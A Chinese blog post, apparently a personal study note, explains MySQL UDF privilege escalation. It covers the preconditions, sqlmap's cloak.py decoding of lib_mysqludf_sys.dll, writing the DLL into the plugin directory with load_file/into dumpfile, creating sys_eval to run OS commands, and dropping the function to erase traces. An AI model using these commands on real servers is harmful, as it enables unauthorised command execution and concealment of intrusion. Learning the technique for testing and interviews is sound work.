mysql udf提权

1、背景?

这是关于一次mysql udf提权的一次学习,这个东西已经很老了,但是面试的时候还是会问,这次写博客也算是我的一次总结吧。我觉得自己挺菜的,但是愿意学东西,希望能有所进步吧。

2、利用条件?

1、secure_fire_priv为空,允许导入和导出

2、数据库用户为高权限(进行文件读写,一般为root权限)

3、什么是UDF库?

UDF表示的是MySQL中的用户自定义函数,使用方式与系统自带的user()、version()等函数一样。udf文件在windows和linux系统下后缀分别为dll和so,即动态链接库文件,由C、C++编写。

4、UDF文件的位置?

1、sqlmap中的位置

2、metasploit中的位置

 5、如何利用?

1、查看是否可以导出文件,secure_file_priv为空。

2、查看数据库用户权限(加上\G是为了让格式好看一点)

3、查看mysql版本和位置(两种输入都可以啦)

 4、查看主机系统架构

 5、根据数据库版本定位udf文件的写入位置

从MySQL 5.1开始,UDF文件必须包含在plugin (插件安装目录)中,@@plugin_dir记录了plugin文件的位置,定义在mysql.ini文件中,你可以通过mysqld更改plugin的目录位置。

mysqld.exe --plugin-dir=F:\\xxx\\lib\lplugins\l

另一种方法是编写一个新的mysql配置文件,并通过-defaults-file参数将其传递给mysqld。

mysqld.exe --defaults-file=F:\\xxx\\my.ini

my.ini中的内容如下:

[mysqld]

plugin_dir = F:\\xxx\\ib\\plugin


6、上传十六进制文件?

有很多方法可以做到这一点。load_file函教支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。

使用sqlmap自带的插件程序解码(为了防止误杀,多用二进制存储,所以需要将二进制转16进制)

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

解码成功后,会在当前目录下生成lib_mysqludf_sys.dll看到上面的执行函数了吗?利用的就是它上传lib_mysqludf_sys.dll到ib\plugin目录

select load _file(\\\\127.0.0.1\\xxx\\lib_mysqludf sys_64.dll') into dumpfile "F:\\xxx\\mysql-5.7.21\\lib\\plugin\\lib_mysqludf_sys_64.dll";

这里可以使用网络路径,当然,也可以使用物理路径。

7、命令执行?
创建命令执行函数

create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll";

查看命令是否被创建

执行系统命令

可以使用sys_eval,其中前者执行系统命令返回结果

select sys_eval("whoami");

8、痕迹清理?

做事不马虎,记得扫除痕迹。

删除表drop table udf;

删除函数drop function sys_eval;

9、其他函数?

其他函数也可以用啦,但是需要是udf文件中存在的,下面就不演示了。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值